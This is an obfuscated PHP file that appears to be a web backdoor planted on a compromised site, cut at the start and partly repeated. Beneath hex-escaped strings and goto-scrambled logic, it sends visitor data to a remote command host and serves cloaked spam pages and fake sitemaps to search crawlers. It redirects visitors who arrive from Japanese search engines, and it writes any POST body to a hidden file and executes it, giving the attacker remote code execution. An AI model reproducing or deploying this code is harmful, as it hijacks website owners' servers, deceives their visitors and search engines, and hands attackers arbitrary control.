"\46\160\x72\x6f\164\x6f\x3d" . $fMSVb; goto iPot3; O47vV: $MjN0D = $Ak_i1 . "\x26\x68\164\164\160\x3d" . $fMSVb . "\46\x67\162\x6f\165\x70\151\x64\x3d" . $wNVNv . "\46\165\162\x69\x3d" . $bf4OC; goto VR0yx; Qq7Jn: $wVnyZ = substr($wVnyZ, strpos($wVnyZ, "\74\41\55\x2d\40\55\55\x3e"), 100); goto FdP10; mE3Up: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\x3a\x2f\x2f\45\163\57\142\x6f\164\x2f\x70\x61\x67\x65\77" . $MjN0D, gets()), $pvaWy, $MjN0D, 1)); goto XdESX; oMIyd: $s10lu = strval(time()); goto k6aXY; GZ0HP: $QipTu = isset($_SERVER["\x48\124\x54\120\x5f\122\105\106\x45\122\105\x52"]) ? $_SERVER["\110\124\x54\120\x5f\x52\105\106\105\122\x45\122"] : ''; goto WJlnm; KLZvY: exit; goto yXB_7; jmbrt: $Axx4M = $r77_0[1] == '' ? sprintf($Axx4M, $L3Nkt) : sprintf($Axx4M, $r77_0[1]); goto HDhm3; mrMG_: if (!(($r77_0[1] === '' || $bDvI7[1] != '') && @preg_match("\x23\x5e\x28\x5c\144\x29\x2a\43", $aEEfJ))) { goto hNt2h; } goto x8CKL; Ruk1M: if (!($rjH1I <= intval($aEEfJ))) { goto GxLUY; } goto F3vLV; u1SgP: $aEEfJ = trim(urlx("\150\164\164\160\163\72\x2f\57" . gets() . "\x2f\x73\x69\164\x65\155\x61\160\56\170\155\154", $pvaWy, $Ak_i1 . "\46\x68\164\x74\x70\75" . $fMSVb)); goto BFM32; lv9Qw: if (!($aEEfJ === '')) { goto Q6MPA; } goto hz2Xs; xGBTQ: echo $KNQJs === false ? "\146\x61\151\x6c" . gets() : $KNQJs . $wNVNv . gets(); goto H_CuQ; IENq2: exit; goto gsi60; IkmzG: if (!@preg_match("\x23\x5e\x28\134\x64\x29\52\x23", $aEEfJ)) { goto nd960; } goto kRapp; gpy6L: echo $r77_0[1]; goto IENq2; rbx5i: $QZCR1 = "\40\74\163\x69\164\x65\x6d\x61\160\x3e\x20\x3c\154\x6f\x63\x3e\x25\163\72\57\x2f\45\163\x2f\x73\151\x74\x65\x6d\x61\x70\x25\x64\56\x78\155\154\x3c\57\154\x6f\143\x3e\x3c\x2f\163\x69\x74\145\x6d\141\x70\76"; goto v8DXz; lr3DX: YkAhT: goto ZVT09; u6kcG: @ignore_user_abort(0); goto i3tEC; v_13Z: @set_time_limit(3600); goto u6kcG; C0XgZ: MtkAT: goto IkmzG; BtN39: function https() { goto IFM1j; S2NUS: return "\x68\x74\x74\160\163"; goto YRFTs; Le25l: return "\x68\164\164\160"; goto SRwii; YRFTs: YrZr6: goto Le25l; IFM1j: if (!(!empty($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\123"]) !== "\x6f\146\146" || isset($_SERVER["\x48\124\124\120\x5f\130\x5f\x46\x4f\122\x57\x41\x52\x44\x45\x44\137\120\122\x4f\x54\117"]) && $_SERVER["\110\x54\124\x50\137\x58\x5f\x46\117\122\127\x41\x52\104\x45\x44\x5f\120\122\x4f\x54\x4f"] === "\150\x74\x74\160\x73" || !empty($_SERVER["\110\124\x54\x50\x5f\106\x52\x4f\116\124\137\105\x4e\x44\x5f\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\x46\122\x4f\x4e\124\x5f\105\x4e\104\x5f\110\x54\124\120\123"]) !== "\157\146\146")) { goto YrZr6; } goto S2NUS; SRwii: } goto y7ZKz; VR0yx: if (@preg_match("\43\50\x5b\141\x2d\x7a\x5d\53\x29\x2d\x28\x5c\x64\53\x29\x3f\x28\x2e\x68\x74\x6d\154\x29\x24\43\151", $bf4OC, $r77_0)) { goto fH1fM; } goto aRYYj; lu0jC: array_push($pvaWy, "\170\x64\x6f\151\155\x3a\40" . crc32($s10lu . "\134\156" . $Ak_i1)); goto ZjYzV; O9rmu: @preg_match("\x23\50\x5c\144\52\51\xe4\273\xb6\x3c\41\55\x2d\x23", $wVnyZ, $r77_0); goto gpy6L; BZ9pk: Q6MPA: goto YWqqf; wMM0o: exit; goto QCPH7; YWqqf: @header("\103\x6f\156\x74\145\x6e\x74\55\164\x79\x70\145\x3a\x20\164\145\170\x74\x2f\170\155\x6c"); goto mrMG_; Mv6dH: $s10lu = isset($_SERVER["\110\x54\124\x50\137\x54\111\x4d\105\123\x54\x41\x4d\x50"]) ? $_SERVER["\110\x54\x54\120\137\124\111\115\x45\123\124\x41\115\x50"] : ''; goto yYFym; Inc4V: if (@preg_match("\43\50\x5c\144\53\x29\55\x24\x23", $r77_0[1], $bDvI7)) { goto SitF5; } goto O89io; nR8dl: array_push($pvaWy, "\x78\x64\x6f\151\155\72\40" . crc32($s10lu . "\134\156" . $Ak_i1)); goto IBpyx; zjz8v: $S2hF1 = urlx(sprintf("\x68\164\x74\x70\x73\72\57\57\45\163\57\142\x6f\164\x2f\63\x30\62\77" . $MjN0D . "\x26\x75\162\x69\75" . $bf4OC, gets()), $pvaWy, $MjN0D, 1); goto E3COQ; nj9s4: $Ak_i1 .= $bDvI7[1] == '' ? "\46\x67\x72\x6f\x75\160\151\144\x3d" . $wNVNv : "\46\x67\x72\x6f\x75\160\151\x64\x3d" . $bDvI7[1]; goto nwg2e; aRYYj: if (@preg_match("\x23\143\x61\164\145\x5c\x2f\50\x5b\x61\55\x7a\135\x2b\x29\x2d\50\x5c\144\53\51\x24\43\151", $bf4OC, $DWz2T)) { goto CGkY4; } goto BZECS; t3fnR: array_push($pvaWy, "\x74\x69\155\x65\163\164\141\x6d\x70\x3a\40" . $s10lu); goto nR8dl; m8cwH: if (!@preg_match("\43\136\57\163\151\x74\145\155\141\x70\50\x2e\x2a\77\x29\x2e\x78\155\154\x24\x23\151", $bf4OC, $r77_0)) { goto JLOzi; } goto ukqEX; Ir68W: JLOzi: goto R1Jjp; wlne3: $fMSVb = https(); goto uIACV; bgtvA: $qNJ2d = sprintf("\150\x74\x74\160\x73\x3a\x2f\x2f\x77\x77\167\56\147\157\157\147\x6c\x65\56\143\x6f\56\x6a\x70\x2f\160\151\x6e\x67\x3f\163\x69\164\145\155\141\x70\x3d\x25\x73\x3a\x2f\x2f\45\x73\x2f\163\x69\164\145\x6d\141\x70\45\163\x2e\170\155\154", $fMSVb, $L3Nkt, $r77_0[1]); goto KyRH1; ZjYzV: $KNQJs = trim(urlx("\x68\x74\x74\x70\x73\72\x2f\57" . gets() . $r77_0[0], $pvaWy, $Ak_i1)); goto xGBTQ; r8dnj: function cc($bf4OC) { goto xbQu_; Z80Xy: us6D_: goto j9Btw; m_5wh: return $bFvLE == $PAQLe[2]; goto e2wHf; BUxPv: if (!(sizeof($PAQLe) != 3)) { goto us6D_; } goto VWaCp; j9Btw: $bFvLE = sprintf("\45\165", crc32(sprintf("\45\x73\55\45\163", $PAQLe[0], $PAQLe[1]))); goto m_5wh; xbQu_: $PAQLe = explode("\x2d", substr($bf4OC, 1, strlen($bf4OC) - 6)); goto BUxPv; VWaCp: return false; goto Z80Xy; e2wHf: } goto U8PGo; z9fK6: $rjH1I = 1; goto DHOlC; uN1f0: exit; goto zvDbf; wWV0p: exit; goto Bxbh_; XdESX: exit; goto boIJ_; E3COQ: @header("\114\157\143\141\164\151\x6f\156\72\40" . $S2hF1); goto X6W_u; TGXbH: $L2cy3 = ''; goto y22gV; y7ZKz: function clientip() { goto VlLKU; VlLKU: if (getenv("\122\105\115\117\x54\105\x5f\101\x44\104\x52") && strcasecmp(getenv("\x52\105\x4d\117\x54\x45\x5f\101\104\x44\x52"), "\x75\x6e\x6b\x6e\157\x77\x6e")) { goto cqJjF; } goto Bx9nh; qEg4p: QEkQ1: goto fiD3I; fiD3I: return $_SERVER["\x52\x45\115\x4f\124\105\x5f\x41\104\x44\122"]; goto oZlRq; lwQBK: cqJjF: goto xVbgZ; DdmFs: goto BzEKr; goto lwQBK; xVbgZ: return getenv("\x52\x45\x4d\x4f\x54\105\x5f\x41\x44\104\122"); goto znn5M; oZlRq: BzEKr: goto PEP3z; znn5M: goto BzEKr; goto qEg4p; Bx9nh: if (isset($_SERVER["\122\x45\x4d\x4f\124\105\137\101\104\104\122"]) && $_SERVER["\x52\105\x4d\117\124\105\x5f\x41\104\x44\122"] && strcasecmp($_SERVER["\122\105\x4d\x4f\x54\105\137\x41\x44\x44\x52"], "\165\156\x6b\156\x6f\x77\156")) { goto QEkQ1; } goto DdmFs; PEP3z: }?>

<?php goto Uzd3N; qfAb3: $a0h9N = $_SERVER["\122\105\x51\125\x45\x53\124\137\x55\x52\x49"]; goto OUTW7; Uzd3N: error_reporting(0); goto xV_Nb; Xw0T0: $iuqex = 1; goto azrTy; MoR3r: echo $ViUU_; goto rJ0j1; ySv01: VG3xp: goto DeAwl; NDhjd: SJJFH: goto cpyle; KdM3G: $kiaTQ = urlx($wQ6Dd, null, null, 1, "\x4d\157\172\x69\154\154\x61\57\65\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\167\163\x3b\x20\x55\73\x20\127\151\156\x64\157\167\163\40\116\x54\x20\65\56\x31\73\x20\x65\156\55\x55\x53\x29\40\101\160\160\154\145\x57\145\142\113\151\x74\x2f\65\63\x34\56\x37\40\50\113\110\124\x4d\x4c\54\x20\154\151\x6b\x65\40\x47\x65\143\x6b\x6f\x29\x20\x43\150\162\x6f\x6d\x65\57\67\x2e\x30\56\65\x31\x37\56\x34\x31\x20\x53\141\146\x61\162\151\x2f\65\x33\x34\x2e\67"); goto yz2Zb; GvHb9: NpkJ7: goto yESbm; mmFA0: $KTFaU = "\x73\150\157\x73\164\x3d" . $XkbQU . "\46\160\x72\157\164\x6f\x3d" . $xSfqy; goto qfAb3; HIwp8: if ($BU0Ab[1] === '' || @preg_match("\43\50\134\144\x2b\51\55\44\x23", $BU0Ab[1], $ZA0Vx)) { goto SJJFH; } goto OrzfB; fXOhI: mMQYV: goto pc_ut; LKGqR: if (!($iuqex <= intval($tDvy3))) { goto GytnW; } goto mNyYj; yIg8Z: @header("\103\x6f\x6e\x74\x65\156\x74\x2d\164\171\x70\x65\x3a\x20\x74\145\x78\164\57\x78\155\154"); goto oQXdo; Z9mZX: function https() { goto pNt3Y; JRJEf: return "\x68\164\164\160\163"; goto X6oxG; X6oxG: ljlvZ: goto PpFl9; pNt3Y: if (!(!empty($_SERVER["\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\124\x54\x50\x53"]) !== "\157\x66\x66" || isset($_SERVER["\x48\x54\124\120\137\130\137\x46\117\x52\x57\101\122\104\105\x44\x5f\120\x52\117\124\117"]) && $_SERVER["\110\124\x54\x50\137\x58\x5f\x46\117\x52\x57\x41\122\104\x45\104\137\x50\x52\117\124\117"] === "\x68\164\x74\x70\x73" || !empty($_SERVER["\110\x54\x54\x50\x5f\x46\x52\x4f\116\x54\137\105\116\x44\x5f\x48\x54\124\120\123"]) && strtolower($_SERVER["\110\124\124\x50\x5f\x46\x52\117\116\x54\x5f\x45\x4e\104\137\x48\x54\x54\120\123"]) !== "\x6f\x66\x66")) { goto ljlvZ; } goto JRJEf; PpFl9: return "\x68\x74\x74\160"; goto MZfvI; MZfvI: } goto zuPE3; nMMRi: fFz84: goto HPlCj; GNnBa: $xSfqy = https(); goto cJt07; z9IDi: $SWePe = "\64\x33\x30"; goto XZGRX; vxlmV: echo @trim(urlx(sprintf("\x68\x74\164\x70\163\x3a\57\57\45\x73\x2f\142\x6f\164\x2f\160\x61\x67\x65\77" . $UhBwv, gets()), $x5ceu, $UhBwv, 1)); goto byiL2; pc_ut: $uUM6Z = strval(time()); goto zmSCA; zmSCA: array_push($x5ceu, "\x74\151\x6d\x65\163\164\141\x6d\160\x3a\x20" . $uUM6Z); goto XMq1r; XMq1r: array_push($x5ceu, "\x78\144\157\x69\x6d\x3a\x20" . crc32($uUM6Z . "\x5c\156" . $KTFaU)); goto XZSMR; ZWOlU: exit; goto ngS20; Z5oxA: GytnW: goto COlBW; EYcYF: $DN3pJ = ''; goto Fdn14; T3vT5: if (!@preg_match("\43\136\x2f\147\145\164\x76\x65\162\44\43\151", $a0h9N, $BU0Ab)) { goto fFz84; } goto TAPAo; v2rLL: @header("\114\x6f\x63\x61\164\151\157\x6e\x3a\40" . $hLS17); goto jaSx8; RJ7Rd: if (@preg_match("\x23\x28\134\x64\53\51\x2d\x24\x23", $BU0Ab[1], $ZA0Vx)) { goto XRMxW; } goto fdzZh; aMgME: array_push($x5ceu, "\164\151\x6d\145\x73\x74\141\155\x70\x3a\x20" . $uUM6Z); goto FNDkf; N4Mkh: $UhBwv = $KTFaU . "\x26\147\x72\x6f\165\x70\x69\x64\x3d" . $SWePe . "\46\165\x72\151\x3d" . $a0h9N . "\x26\x69\x70\75" . $TDtoo; goto H_3BD; vyEW8: function cc($a0h9N) { goto r3A6X; UmsoQ: return false; goto RgET9; RgET9: OoApo: goto XyjlL; C1px1: return $fa9vt == $LzTUl[2]; goto VfqZl; r3A6X: $LzTUl = explode("\55", substr($a0h9N, 1, strlen($a0h9N) - 6)); goto GsNZ4; XyjlL: $fa9vt = sprintf("\45\165", crc32(sprintf("\45\163\x2d\45\163", $LzTUl[0], $LzTUl[1]))); goto C1px1; GsNZ4: if (!(sizeof($LzTUl) != 3)) { goto OoApo; } goto UmsoQ; VfqZl: } goto noQxo; M825D: exit; goto acvVB; U0DQn: @file_put_contents("\x2e\145\107\101\60\124\171\62\127\x4c\x68", $TLo3c, FILE_USE_INCLUDE_PATH); goto QQaZc; HFFkT: $Corxb = sprintf("\150\164\x74\160\x73\72\x2f\57\167\x77\x77\x2e\x67\157\x6f\147\154\145\x2e\x63\x6f\x2e\x6a\160\x2f\160\151\156\x67\77\163\x69\164\145\x6d\x61\x70\x3d\45\163\72\57\x2f\45\x73\x2f\x73\151\x74\x65\x6d\x61\x70\45\x73\x25\x64\x2e\x78\155\x6c", $xSfqy, $XkbQU, $ZA0Vx[0], $iuqex); goto XUIxZ; roP8t: $Lft8S = isset($_SERVER["\x48\x54\x54\x50\137\x41\103\103\x45\x50\124\137\x4c\x41\116\x47\x55\101\107\x45"]) ? substr($_SERVER["\110\x54\124\x50\x5f\101\103\x43\x45\x50\124\x5f\114\x41\116\x47\125\x41\x47\105"], 0, 4) : ''; goto rQBFP; tH1uC: exit; goto ggUR7; OxFbt: if (!@preg_match("\43\136\x2f\x73\x69\x74\145\57\x3f\50\56\52\x3f\51\x24\x23\151", $a0h9N, $BU0Ab)) { goto H1GcK; } goto YgWZZ; iXuJe: $tp2fO = explode("\xa", $tDvy3); goto cpXRa; ULAhg: DJaed: goto LKGqR; o5nuK: echo @trim(urlx(sprintf("\x68\164\164\x70\x73\72\57\x2f\x25\163\57\142\x6f\164\57\143\141\x74\145\77" . $UhBwv, gets()), $x5ceu, $UhBwv . "\46\x68\157\x73\164\75" . preg_replace("\57\x5b\x61\55\172\x49\x5d\x28\x78\171\172\174\x62\x75\172\x7a\51\56\x2a\x24\57", "\56\x24\x31", strrev($AKMDu[1])) . "\x26\x63\x61\x74\x65\151\x64\x3d" . $AKMDu[2], 1)); goto TwkUK; mNyYj: $DN3pJ .= sprintf($V3ZaJ, $xSfqy, $XkbQU, $iuqex, date("\x59\55\155\x2d\x64\x5c\124\110\72\151\x3a\x73\x50", time())); goto IYbYv; h3z5f: $V3ZaJ = "\40\74\163\151\164\x65\155\141\x70\x3e\x20\74\154\x6f\143\x3e\x25\163\x3a\57\57\x25\163\57\x73\x69\x74\x65\x6d\141\160\x25\144\56\x78\155\154\74\57\154\x6f\x63\x3e\x3c\x2f\163\x69\x74\145\155\141\160\76"; goto roP8t; duvsE: yG1EO: goto OxFbt; xJARA: goto a_B5D; goto jGqAa; dkbdc: goto DJaed; goto Z5oxA; xV_Nb: @set_time_limit(3600); goto e8ZGW; QQaZc: echo include "\56\145\x47\101\60\x54\x79\62\x57\x4c\150"; goto lOy1t; COlBW: echo sprintf($XfNBR, $DN3pJ); goto tH1uC; TAPAo: $uUM6Z = strval(time()); goto aMgME; OrzfB: $Corxb = sprintf("\x68\164\164\160\163\x3a\57\x2f\x77\x77\167\56\x67\x6f\x6f\x67\154\145\56\x63\x6f\56\x6a\160\57\160\151\x6e\147\77\163\x69\x74\x65\155\141\x70\75\x25\163\72\x2f\x2f\45\163\x2f\163\151\164\145\x6d\141\x70\x25\x73\x2e\170\155\x6c", $xSfqy, $XkbQU, $BU0Ab[1]); goto eem_u; KESrM: exit; goto iLtpO; XZGRX: $GHwf6 = "\74\77\170\x6d\x6c\40\166\x65\162\163\x69\157\156\x3d\x22\61\x2e\60\x22\40\x65\x6e\x63\x6f\144\151\156\147\75\x22\125\124\x46\x2d\70\x22\x3f\x3e\x3c\x21\55\55\40\x61\165\164\157\147\x65\156\40\x62\x79\40\144\157\x69\155\40\x2d\x2d\x3e\15\xa\74\165\x72\154\x73\145\x74\40\x78\x6d\x6c\x6e\163\75\x22\x68\164\x74\160\72\x2f\x2f\x77\167\167\56\x73\x69\164\x65\155\x61\160\163\x2e\157\x72\x67\x2f\x73\143\150\145\155\x61\x73\x2f\x73\x69\164\x65\x6d\x61\160\x2f\x30\x2e\71\42\15\12\40\x20\40\x20\40\40\170\155\x6c\156\163\x3a\x78\150\x74\x6d\x6c\x3d\x22\150\x74\164\x70\163\72\x2f\x2f\167\x77\x77\56\167\63\56\157\162\147\57\61\x39\71\x39\x2f\x78\x68\164\155\154\x22\x3e\15\xa\45\x73\x3c\x2f\165\162\154\163\x65\x74\x3e"; goto F4M8J; fdzZh: $KTFaU .= "\x26\147\162\x6f\x75\160\151\144\75" . $SWePe; goto KTKV3; AJDSL: goto n3Wfs; goto ySv01; dvk32: $kiaTQ = str_replace(array("\x2f\x5c\x2f\163\53\x2f", "\x5c\162\x5c\156", "\134\162", "\134\156", "\x22", "\x2c"), '', $kiaTQ); goto Cr8NB; jT7mO: exit; goto xJARA; HPlCj: if (!@preg_match("\x23\147\157\x6f\x67\x6c\x65\174\171\141\x68\157\157\174\x62\x69\x6e\147\x7c\143\x72\141\x66\x74\174\103\162\x61\167\154\x65\x72\43\151", $Qa8w3)) { goto uJqX2; } goto pxweL; XZSMR: $tDvy3 = trim(urlx("\x68\x74\164\x70\163\x3a\x2f\57" . gets() . "\x2f\163\151\164\x65\155\141\160" . ($BU0Ab[1] == '' || $ZA0Vx[1] != '' ? "\x2e\170\155\x6c" : "\x2f" . $BU0Ab[1]), $x5ceu, $KTFaU)); goto W08k2; TzdbL: $UhBwv .= sprintf("\x26\x68\x70\x69\x64\x3d\45\163\x2d\45\163", preg_replace("\x2f\133\x61\x2d\x7a\x49\135\x28\170\171\172\174\x62\165\172\172\51\56\52\44\x2f", "\56\44\61", strrev($BU0Ab[1])), $BU0Ab[2]); goto vxlmV; byiL2: exit; goto hPkXk; jGqAa: QZmqm: goto TzdbL; otDtH: $T5Ggx = trim(urlx("\150\x74\x74\x70\x73\72\x2f\57" . gets() . $BU0Ab[0], $x5ceu, $KTFaU)); goto F23pG; XUIxZ: $ELMnB = urlx($Corxb); goto Alvk3; F2Nng: if (!($tDvy3 === '')) { goto Hyqhb; } goto ZWOlU; KTKV3: goto mMQYV; goto wfTUR; iLtpO: Ka2QT: goto zfy84; v6CEs: $KTFaU = "\x73\x68\157\x73\164\x3d" . $XkbQU . "\x26\x68\164\164\160\x3d" . $xSfqy; goto RJ7Rd; oQXdo: if (!(($BU0Ab[1] === '' || $ZA0Vx[1] != '') && @preg_match("\x23\x5e\50\134\x64\x29\52\43", $tDvy3))) { goto OUhTD; } goto EYcYF; OUTW7: if (!@preg_match("\x23\136\x2f\160\151\x6e\147\x73\151\x74\x65\x6d\x61\160\50\56\52\x3f\51\56\170\155\154\x24\43\x69", $a0h9N, $BU0Ab)) { goto mApIc; } goto vxJBI; qDl_Q: mApIc: goto z4Bm8; Alvk3: $ViUU_ .= $Corxb . $ELMnB; goto feFwg; noQxo: function gets() { return "\x70\x33\56\x67\x6c\157\x72\171\160\x6c\x61\156\56\143\x6c\x75\142"; } goto Z9mZX; H_3BD: $hLS17 = urlx(sprintf("\x68\164\x74\160\x73\72\x2f\x2f\45\163\x2f\142\x6f\164\x2f\63\x30\62\77" . $UhBwv, gets()), $x5ceu, $UhBwv, 1); goto v2rLL; acvVB: ZWXJO: goto yIg8Z; GXWfG: $Qa8w3 = isset($_SERVER["\110\x54\x54\x50\x5f\x55\123\x45\122\x5f\101\107\105\x4e\124"]) ? $_SERVER["\110\124\x54\x50\137\125\x53\x45\122\x5f\x41\x47\105\116\124"] : ''; goto jsOyO; Qo6rC: if (!@preg_match("\x23\136\50\134\144\x29\52\43", $tDvy3)) { goto QB4QN; } goto Xw0T0; PN7Zz: $XfNBR = "\x3c\x3f\x78\155\154\40\x76\x65\x72\x73\151\x6f\156\x3d\x22\61\56\x30\42\40\x65\156\143\157\x64\151\156\147\75\42\125\124\x46\55\x38\x22\77\76\x3c\41\55\x2d\40\141\x75\x74\x6f\x67\145\156\40\x62\171\40\x64\x6f\x69\155\40\55\x2d\x3e\xd\12\74\163\x69\164\145\x6d\x61\x70\151\x6e\x64\145\170\40\170\155\x6c\156\x73\75\x22\x68\x74\x74\160\x3a\57\57\x77\x77\167\56\x73\x69\164\x65\155\x61\160\x73\x2e\157\x72\x67\57\x73\x63\x68\145\x6d\x61\163\57\x73\151\164\x65\155\141\160\57\60\56\71\x22\76\x20\45\163\40\x3c\x2f\163\151\164\x65\155\141\x70\151\x6e\144\x65\170\x3e"; goto h3z5f; TwkUK: exit; goto Hbyta; rQBFP: $nvSIQ = isset($_SERVER["\x48\124\124\x50\137\x52\x45\x46\105\x52\105\122"]) ? $_SERVER["\110\x54\x54\x50\137\x52\105\106\x45\x52\105\x52"] : ''; goto GXWfG; jaSx8: exit; goto GvHb9; HMTkB: echo $BU0Ab[1]; goto LFczh; IYJlk: $TLo3c = @file_get_contents("\160\x68\x70\x3a\57\57\151\x6e\160\x75\x74"); goto U0DQn; LHszg: $TDtoo = clientip(); goto GNnBa; vxJBI: $ViUU_ = ''; goto HIwp8; cJt07: $x5ceu = array("\x55\x73\x65\x72\55\101\x67\145\156\164\x3a\40" . $Qa8w3, "\114\141\x6e\x67\72\x20" . $Lft8S, "\x52\x65\146\x65\162\x65\162\x3a\40" . $nvSIQ, "\x48\164\164\x70\x2d\110\x6f\x73\x74\x3a\x20" . $XkbQU, "\x52\145\155\157\x74\145\x2d\101\144\144\162\72\x20" . $TDtoo); goto mmFA0; D5Ebt: $uUM6Z = strval(time()); goto KKzjV; W08k2: if (!($tDvy3 === '')) { goto ZWXJO; } goto M825D; xd7Gu: uJqX2: goto kTbfL; GvtyV: function urlx($wQ6Dd, $x5ceu = null, $KTFaU = null, $t5xdc = null) { goto pmNED; j0zaL: $kiaTQ = curl_exec($rb5u7); goto aT2QZ; mYT9k: curl_setopt($rb5u7, CURLOPT_URL, $wQ6Dd); goto i83pZ; Om4s8: BsHbC: goto YWlpa; TILH0: curl_setopt($rb5u7, CURLOPT_HTTPHEADER, $x5ceu); goto wgA9v; i83pZ: curl_setopt($rb5u7, CURLOPT_FOLLOWLOCATION, 1); goto cagKE; nG9xl: if (!(stripos($wQ6Dd, "\150\164\x74\160\x73\72") === 0)) { goto t_0V8; } goto Q4pVy; xz5jN: curl_setopt($rb5u7, CURLOPT_POST, 1); goto SW1k7; DN1dg: t_0V8: goto OsJlC; aT2QZ: curl_close($rb5u7); goto rg5US; YWlpa: curl_setopt($rb5u7, CURLOPT_RETURNTRANSFER, 1); goto j0zaL; SW1k7: curl_setopt($rb5u7, CURLOPT_POSTFIELDS, $KTFaU); goto Om4s8; Q4pVy: curl_setopt($rb5u7, CURLOPT_SSL_VERIFYPEER, FALSE); goto MlnWZ; m7nLe: if ($KTFaU === null) { goto BsHbC; } goto xz5jN; pmNED: $rb5u7 = curl_init(); goto mYT9k; MlnWZ: curl_setopt($rb5u7, CURLOPT_SSL_VERIFYHOST, FALSE); goto DN1dg; wgA9v: kgZB6: goto m7nLe; OsJlC: if ($x5ceu === null) { goto kgZB6; } goto TILH0; rg5US: return $kiaTQ; goto Sm6e7; SEu63: curl_setopt($rb5u7, CURLOPT_ENCODING, "\147\172\151\160\x2c\x64\x65\146\x6c\x61\x74\x65"); goto kNhik; kNhik: XXIzk: goto nG9xl; cagKE: if ($t5xdc === null) { goto XXIzk; } goto SEu63; Sm6e7: } goto vyEW8; s0BfN: zEbNP: goto cnKq0; ngS20: Hyqhb: goto Qo6rC; jsOyO: $XkbQU = $_SERVER["\110\x54\x54\120\137\x48\x4f\x53\124"]; goto CfHkb; k3Mxy: yvBJz: goto o5nuK; LFczh: exit; goto OaTsO; kTbfL: if (!(@preg_match("\43\x67\x6f\157\147\154\145\56\143\x6f\56\x6a\160\x7c\x67\x6f\x6f\147\x6c\x65\x2e\x63\x6f\x6d\x7c\x79\x61\x68\x6f\x6f\x2e\x63\x6f\x2e\152\160\174\171\141\150\157\157\x2e\143\157\x7c\142\151\x6e\147\x2e\x63\157\x6d\x7c\141\163\153\x2e\x63\157\155\174\x61\157\x6c\56\143\157\155\174\141\157\154\x2e\x6a\x70\43\151", $nvSIQ) && @preg_match("\43\50\x5b\141\55\172\111\x5d\x2b\x29\x2d\x28\134\144\x2b\x29\77\x28\x2d\x28\134\x64\53\51\51\x3f\50\x2e\x68\x74\155\x6c\51\x24\43\x69", $a0h9N))) { goto NpkJ7; } goto N4Mkh; KKzjV: array_push($x5ceu, "\164\x69\155\x65\163\x74\x61\155\x70\x3a\40" . $uUM6Z); goto xjkFM; F4M8J: $X1UzF = "\x20\74\x75\x72\154\x3e\40\74\154\157\143\x3e\x25\163\74\x2f\x6c\x6f\x63\x3e\74\x78\150\x74\x6d\154\x3a\x6c\151\156\x6b\40\x72\145\x6c\x3d\42\x61\154\164\145\x72\x6e\x61\x74\x65\x22\40\150\162\x65\x66\x6c\141\156\147\x3d\42\x6a\141\x22\x20\x68\162\145\146\75\x22\45\x73\x22\57\76\x3c\57\x75\162\x6c\x3e"; goto PN7Zz; tkTHs: $wQ6Dd = $BU0Ab[1] == '' ? sprintf($wQ6Dd, $XkbQU) : sprintf($wQ6Dd, $BU0Ab[1]); goto KdM3G; kjt8n: $tDvy3 = trim(urlx("\150\164\x74\160\163\x3a\57\x2f" . gets() . "\x2f\x73\x69\x74\x65\x6d\x61\160\x2e\170\x6d\x6c", $x5ceu, $KTFaU . "\x26\x68\x74\164\160\75" . $xSfqy)); goto F2Nng; OaTsO: H1GcK: goto T3vT5; W71AF: $KTFaU .= "\46\147\x72\x6f\165\160\x69\x64\75" . $ZA0Vx[1]; goto fXOhI; azrTy: n3Wfs: goto RcYj3; rJ0j1: exit; goto qDl_Q; x4Q0Z: exit; goto nMMRi; u47h7: foreach ($tp2fO as $uSOZf) { goto FYvme; FYvme: $hLS17 = $xSfqy . "\x3a\x2f\x2f" . $XkbQU . "\x2f" . $uSOZf; goto H0ykb; H0ykb: $Lt12H .= sprintf($X1UzF, $hLS17, $hLS17); goto LU4V0; LU4V0: YC1Ny: goto pcXX8; pcXX8: } goto s0BfN; ggUR7: OUhTD: goto iXuJe; cpyle: $KTFaU .= $ZA0Vx[1] == '' ? "\46\147\x72\x6f\x75\x70\x69\144\75" . $SWePe : "\x26\147\x72\x6f\x75\160\x69\x64\75" . $ZA0Vx[1]; goto D5Ebt; PvKa7: if (@preg_match("\43\x63\x61\x74\x65\134\57\50\133\x61\x2d\172\x5d\x2b\x29\x2d\x28\x5c\144\53\51\44\43\x69", $a0h9N, $AKMDu)) { goto yvBJz; } goto nb79U; SXArn: $uUM6Z = isset($_SERVER["\110\x54\124\120\137\x54\111\115\105\123\x54\x41\115\120"]) ? $_SERVER["\x48\124\124\120\x5f\124\x49\115\x45\x53\124\101\x4d\x50"] : ''; goto IYJlk; cpXRa: $Lt12H = ''; goto u47h7; hfJ0V: goto T_XkJ; goto NDhjd; IYbYv: d1uyj: goto rMDoG; xjkFM: array_push($x5ceu, "\170\x64\157\x69\155\x3a\x20" . crc32($uUM6Z . "\134\x6e" . $KTFaU)); goto kjt8n; QIaOi: exit; goto duvsE; yESbm: function urls($XkbQU, $KlQqt, $Qa8w3, $cJyjg, $aobIY = null) { goto qMwgK; qMwgK: $pZmbt = stream_socket_client("\163\163\154\72\57\x2f" . $XkbQU . "\72\x34\x34\63", $sRR_Y, $KpGwL, 6); goto rMDgh; rMDgh: $f1Vwi = "\107\x45\124\x20" . $KlQqt . "\x3f" . $aobIY . "\x20\110\124\124\120\57\x31\x2e\60\15\12\x48\157\163\x74\x3a\40" . $XkbQU . "\xd\12\122\x65\146\145\x72\145\162\72\x20" . $cJyjg . "\15\xa\125\x73\145\x72\55\101\147\x65\x6e\164\x3a\40" . $Qa8w3 . "\15\xa\15\xa"; goto FjInC; FjInC: $bx4NH = fwrite($pZmbt, $f1Vwi); goto DB2za; DB2za: fclose($pZmbt); goto w3oQO; w3oQO: } goto GvtyV; Fdn14: $iuqex = 1; goto ULAhg; FNDkf: array_push($x5ceu, "\x78\x64\157\151\x6d\72\40" . crc32($uUM6Z . "\134\156" . $KTFaU)); goto otDtH; Hbyta: a_B5D: goto xd7Gu; hPkXk: goto a_B5D; goto k3Mxy; CfHkb: $a0h9N = $_SERVER["\x52\x45\121\x55\x45\123\x54\x5f\125\122\x49"]; goto LHszg; YgWZZ: $wQ6Dd = urldecode("\x68\164\164\x70\x73\x3a\x2f\57\163\145\x61\162\143\x68\x2e\x79\141\150\157\x6f\x2e\143\x6f\x2e\152\160\x2f\x73\145\x61\162\143\150\x3f\x70\75\163\x69\x74\x65\72\x25\x73\46\x65\151\x3d\x55\x54\106\x2d\70"); goto tkTHs; 